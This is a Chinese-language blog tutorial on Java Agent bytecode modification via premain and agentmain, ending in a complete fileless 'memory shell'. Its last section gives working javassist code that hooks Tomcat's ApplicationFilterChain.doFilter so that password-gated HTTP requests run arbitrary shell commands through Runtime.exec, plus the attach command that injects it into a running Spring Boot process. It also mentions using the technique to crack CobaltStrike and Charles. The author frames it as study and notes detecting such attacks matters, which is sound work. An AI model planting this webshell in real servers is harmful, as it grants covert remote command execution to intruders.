前言

今天看到一篇文章，写的是关于JAVA Agent相关的资料(附1)，里面提到了Java Agent的两种实现方法：

• 实现premain方法，在JVM启动前加载

• 实现agentmain方法，在JVM启动后attach加载

因为最近流行破解CobaltStrike不再直接使用反编译打包源码了，而是使用JAVA Agent进行提前字节码修改。并且文章中也提到了javassist工具，我之前也用过javassist工具进行破解过Charles，因此抱着学习和复习的态度来复现下本文提到的技术点。

JAVA Agent两种方法复现

Java Agent简单说就是一种可以修改jar字节码的技术，我们来复现下上述提到的两种方法。

premain

通过实现premain方法，并在启动jar时添加-javaagent:agent.jar即可进行字节码修改。首先我们创建一个正常输出、测试用的JAVA程序，hello.jar：

package com.test;
​
public class Hello {
    public static void main(String[] args) {
        hello();
​
    }
​
    public static void hello(){
        for (int i = 0; i < 1000; i++) {
            System.out.println("hello");
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
}
​

生成jar包：

Build -> Build Artifacts -> Build

正常运行jar包得到如下输出：

java -jar hello.jar

接下来编写一个实现premain方法的JAVA程序：

package com.test;
​
import java.lang.instrument.Instrumentation;
​
public class premainagent {
    public static void premain(String args, Instrumentation inst) throws Exception{
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I`m premain agent!!!");
        }
    }
}

并在MANIFEST.MF添加一行：

Premain-Class: com.test.premainagent

生成jar包并加载执行：

java -javaagent:premainagent.jar  -jar hello.jar

可以看到，成功的在hello.jar本身结果输出前输出了premain方法的内容：

前面也提到现在破解CobaltStrike流行用JAVA Agent技术，我们看下破解工具的源码，能发现确实用的也是premain方法进行的破解：

agentmain

但是有些JVM已经启动了，不好去让他重启，因此这个时候agentmain就派上用场了，可以方便的attach对应的进程进行字节码的修改。

编写一个实现了agentmain方法的JAVA程序：

package com.test;
​
import java.lang.instrument.Instrumentation;
​
public class agentmaintest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I`m agentMain!!!");
        }
    }
}

并在MANIFEST.MF添加一行：

Agent-Class: com.test.agentmaintest

生成jar包。

再编写一个attach程序(附2)：

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
​
public class TestAgentMain {
​
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{
        //获取当前系统中所有 运行中的 虚拟机
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
​
            System.out.println(vmd.displayName());
            String aim = args[0];//你的jar包
            if (vmd.displayName().endsWith(aim)) {
                System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
                virtualMachine.detach();
            }
        }
    }
}

生成jar包。

依然尝试对hello.jar进行字节码的修改，但是这次是运行着的hello.jar：

首先运行hello.jar：

java -jar hello.jar

对hello.jar进行启动后的attach加载：

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

发现成功在hello.jar运行过程中进行了字节码修改：

内存马

既然可以修改某个方法的实现，那如果修改spring boot的Filter是否就可以实现一个Filter内存马？这里通过修改org.apache.catalina.core.ApplicationFilterChain#doFilter来达到实现内存马的目的。

依然实现一个agentmain方法，只是这次agentmain方法中不再是System.out.println了，而是接收request的值来执行命令。一开始跟着前文提到的方法进行复现，发现有一些问题，比如attach后会爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上这两句：

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));

除了上面agentmain章节中提到的，在MANIFEST.MF中添加一行Agent-Class，还要添加一行：

Can-Retransform-Classes: true

且最后执行命令的JAVA代码，申明变量类型时得是完整路径，如InputStream得变成java.io.InputStream。最终代码如下：

package com.test;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
​
​
public class memshell {
    public static void agentmain(String agentArgs, Instrumentation instrumentation)
            throws ClassNotFoundException, UnmodifiableClassException {
        instrumentation.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                    ProtectionDomain protectionDomain, byte[] classfileBuffer){
                System.out.println("premain load Class2:" + className);
                if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
                    System.out.println("nonononononono");
                    return null;
                }else {
                    try {
                        System.out.println("tryyyyyyyy");
                        ClassPool classPool = ClassPool.getDefault();
                        classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
                        if (classBeingRedefined != null) {
                            ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                            classPool.insertClassPath(ccp);
                        }
                        CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                        CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                        String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
                                "javax.servlet.http.HttpServletResponse response = $2;" +
                                "request.setCharacterEncoding(\"UTF-8\");" +
                                "String result = \"\";" +
                                "String password = request.getParameter(\"password\");" +
                                "if (password != null && password.equals(\"xxxxxx\")) {" +
                                "String cmd = request.getParameter(\"cmd\");" +
                                "if (cmd != null && cmd.length() > 0) {" +
                                "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
                                "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
                                "byte[] b = new byte[1024];" +
                                "int a = -1;" +
                                "while ((a = in.read(b)) != -1) {" +
                                "baos.write(b, 0, a);" +
                                "}" +
                                "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +
                                "}" +
                                "}}";
                        ctMethod.insertBefore(source);
                        System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
                        byte[] byteCode = ctClass.toBytecode();
                        ctClass.detach();
                        return byteCode;
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                    return null;
                }
            }
        },true);
        instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
    }
​
}

打包成jar，然后启动spring boot：

开始注入：

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar

成功执行命令：

总结

本文借着公开的文章学习了Java Agent相关技术，分别对JVM运行前和运行后的字节码修改进行了复现，现在JAVA内存马越来越流行，借着反序列化等漏洞可以悄无声息的上一个Webshell，如何发现此类攻击手段也是一个重要战场。

附1:https://xz.aliyun.com/t/9450

附2:https://blog.csdn.net/qq_41874930/article/details/121284684